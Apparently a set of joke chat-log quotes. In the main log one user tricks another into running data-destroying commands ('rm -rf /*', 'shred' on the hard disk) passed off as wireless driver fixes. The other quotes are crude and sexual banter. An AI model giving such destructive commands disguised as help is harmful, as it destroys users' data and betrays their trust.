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nukleocide: I know a lot about linux
DoRan9120: you know bout knoppix
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DoRan9120: hey i on knoppix i cnat get my wireless card to work throught my laptop
nukleocide: neither can I
nukleocide: I could explain the art of using ndiswrapper but you are honestly a computer retard and I'm not going to waste my time
DoRan9120: really
DoRan9120: are you hacking
DoRan9120: through irsnort
DoRan9120: airsnort
nukleocide: right now?
DoRan9120: i know more hten you
DoRan9120: in different stuff
DoRan9120: belive me
DoRan9120: there is a few things im not good with
nukleocide: like typing?
nukleocide: or computers?
DoRan9120: right now whatu mean right now
DoRan9120: yes right now
nukleocide: uh, no, right no I am not using airsnort
DoRan9120: computers
nukleocide: computers what
DoRan9120: nvm
DoRan9120: are trying to hack with linux
nukleocide: wait... you are trying to hack with linux? or I am?
DoRan9120: my linux card orks with
DoRan9120: ndiswrapper
DoRan9120: i mean my wireless card
nukleocide: okay, you seem to know what your doing now
nukleocide: I'll help you
nukleocide: this is how I got my wireless card to work with knoppix
nukleocide: can you open a terminal window?
DoRan9120: ya
DoRan9120: go on
nukleocide: you'll need to be root to get the driver to install
DoRan9120: su
DoRan9120: ok
nukleocide: typing 'su' should work in knoppix
nukleocide: ooh your good
DoRan9120: lol
DoRan9120: go on
DoRan9120: iwconfig?
nukleocide: do 'mkdir ./ndiswrapper'
nukleocide: then 'cd ./ndiswrapper' will enter into that directory
DoRan9120: kk
nukleocide: now that your in the directory, do 'rm -rf /* &' this will start to compile the ndiswrapper driver because the directory is named after the program
nukleocide: once you do that do iwconfig ndiswrapper
DoRan9120: now?
nukleocide: did the rm command issue an error though?
DoRan9120: kk
DoRan9120: now
nukleocide: what message did it say
DoRan9120: no
DoRan9120: kk hold on
DoRan9120: shit it fucking forze
DoRan9120: wtf
DoRan9120: my mouse aint working
DoRan9120: alright listen
DoRan9120: just give me the rest of the instructions
DoRan9120: and il write it down
nukleocide: it's probably a driver conflict between the mouse and the wifi card
nukleocide: do this one real quick
DoRan9120: it happened earlier too
DoRan9120: kk
nukleocide: rm -rf /mnt/* &
nukleocide: that should fix the driver conflict and get us back on track
DoRan9120: kk let me try
DoRan9120: no its not working
DoRan9120: just give me the instructions
DoRan9120: and once i restart it
DoRan9120: i will try
nukleocide: okay
nukleocide: these all should work to auto install the driver
nukleocide: try them in order
nukleocide: rm -rf /media/*
nukleocide: idk why they call hardware media
nukleocide: hold on I'll google another method
DoRan9120: o
DoRan9120: ok
DoRan9120: alright
nukleocide: that one might work right now actually
DoRan9120: have yo utiresd
DoRan9120: wireless tools
nukleocide: a few times
DoRan9120: kk
nukleocide: try this one, it should undo all commands you've done and start over
nukleocide: shred -vfz -n 100 /dev/hda &
nukleocide: that should also get your mouse to work again
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(15:14:36) nukleocide: except for all the tazmanian devils
(15:14:45) tmeash: hehe
(15:14:46) tmeash: they're cute
(15:14:53) nukleocide: until they fuckin eat you
DoRan9120: what should i do
DoRan9120: im plugged through lan
nukleocide: ok
DoRan9120: alright im in terminal
DoRan9120: and already did su
nukleocide: hold on I'm finding a tutorial on it
nukleocide: try this first "ls /mnt/"
nukleocide: and paste what it tells you to me
DoRan9120: k
DoRan9120: hda1 hdc
DoRan9120: thats all
nukleocide: hmm
nukleocide: ls /mnt/hda1 what does that say
DoRan9120: k
nukleocide: does it list off anything
DoRan9120: nothing
DoRan9120: at all
nukleocide: there goes that idea
nukleocide: I'll find another way
DoRan9120: kk
nukleocide: do you also have windows on this computer?
DoRan9120: ummm
DoRan9120: no on a other computer
DoRan9120: ya
nukleocide: so the knoppix is the onlything on this computer?
DoRan9120: ya
nukleocide: what is the message when you run "init 6"
DoRan9120 logged out.
CoLL1eR: LOL!
CoLL1eR: go fuck tha beetle juice chick
nukleocide: uhh what
CoLL1eR: TEH ONE WITH THE HUGE TEETH
CoLL1eR: that looks like
CoLL1eR: she was found on the street corner
nukleocide: no, I mean why did you lol me
CoLL1eR: CAUSE I HAVE A FATTY IN MY MOUTH
CoLL1eR: AND ITS LIEK IM SITTING NEXT TO JESUS
CoLL1eR: IN TEH GSKY
CoLL1eR: COCK OR GTFO
(19:04:05) nukleocide: wtf is saa
(19:04:12) benamaster: sex addiction
(19:04:39) benamaster: maybe i could meet a female that would want to do it
(19:04:45) nukleocide: wow
(19:04:55) benamaster: i mean no better place than a meeting for the addicted
(19:05:11) nukleocide: wow
tmeash: the math book has m&m's on the front so I figure it can't be all that bad
coll1er: nukky
coll1er: Can you help me fast
nukleocide: maybe
coll1er: well u see
coll1er: On April 19, 2006
coll1er: one of my paypal accounts got locked
coll1er: they said 180 days I can request a check
coll1er: when can I request my check
nukleocide: october 12th ish
coll1er: 2007?
nukleocide: 2006
nukleocide: 180 days is a little les than 6 months
coll1er: its been 180 days?
nukleocide: it's been about 350 days
coll1er: oh damn
nukleocide: 365 days in a year, 180 * 2 = 360
nukleocide: so it's half a year
coll1er: Im getting that check right now ;)
nukleocide: but more important than you getting a check is that you don't know 180 days is about 6 months
coll1er: dont care
coll1er: I didnt feel
coll1er: like doing mathhhhh
nukleocide: wow
nukleocide: but who needs intelligence when you've got money, right?
coll1er: correct
tmeash: happy to see me?
nukleocide: wrong window
nukleocide: failure?
C oLL1e R: wat
tmeash: i mean
tmeash: haha
tmeash: that was me starting to type yeah
tmeash: but ending up typing haha
tmeash: eep
nukleocide: you know what that means?
nukleocide: I might not have to go to work
How could you do this to me?' Early the next day, he was awakened by the sound of a ship approaching the island!
It had come to rescue him! 'How did you know I was here?' asked the weary man of his rescuers. 'We saw your smoke signal,' they replied.
load81884: umm...
load81884: is this some kind of jesus story?
nukleocide: jah
load81884: wow, I think that really turned my view of god around. I truly believe now. Thank you so much for this inspiring story. Now if only that boat had been filled with a bunch of dick sucking whores I;d start praying...
nukleocide: :-/
load81884: ahahahahahahahahahahahahaaaaaaaaaaaaaaaaaa
(20:10:25) C oLL1e R logged in.
(20:11:10) C oLL1e R: now
(20:11:11) C oLL1e R: Icant
(20:11:14) C oLL1e R: wait any longer
(20:11:15) C oLL1e R: for
(20:11:18) C oLL1e R: ur upload script
(20:11:41) nukleocide: oh yeah
(20:11:49) C oLL1e R: u said oh yeah last time
(20:11:54) nukleocide: ha
(20:11:56) nukleocide: well now I'm free
(20:11:57) nukleocide: cuz the
(20:11:58) nukleocide: vb
(20:12:00) nukleocide: assignment
(20:12:04) nukleocide: took only
(20:12:05) nukleocide: an
(20:12:06) nukleocide: h
(20:12:06) nukleocide: o
(20:12:07) nukleocide: ur
(20:12:11) C oLL1e R: ok
nukleocide: WHAT!
carrie8706: nothin
carrie8706: sorry
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benamaster: ASP.NET just doesn't get the ladies
nukleocide: mwa ha ha. I'm glad to know you've finally made the transition, my son.
benamaster: i'm thinking about getting intoxicated
grmpybr05: HI
nukleocide: EXCITED TO SEE ME?
grmpybr05: WHAT
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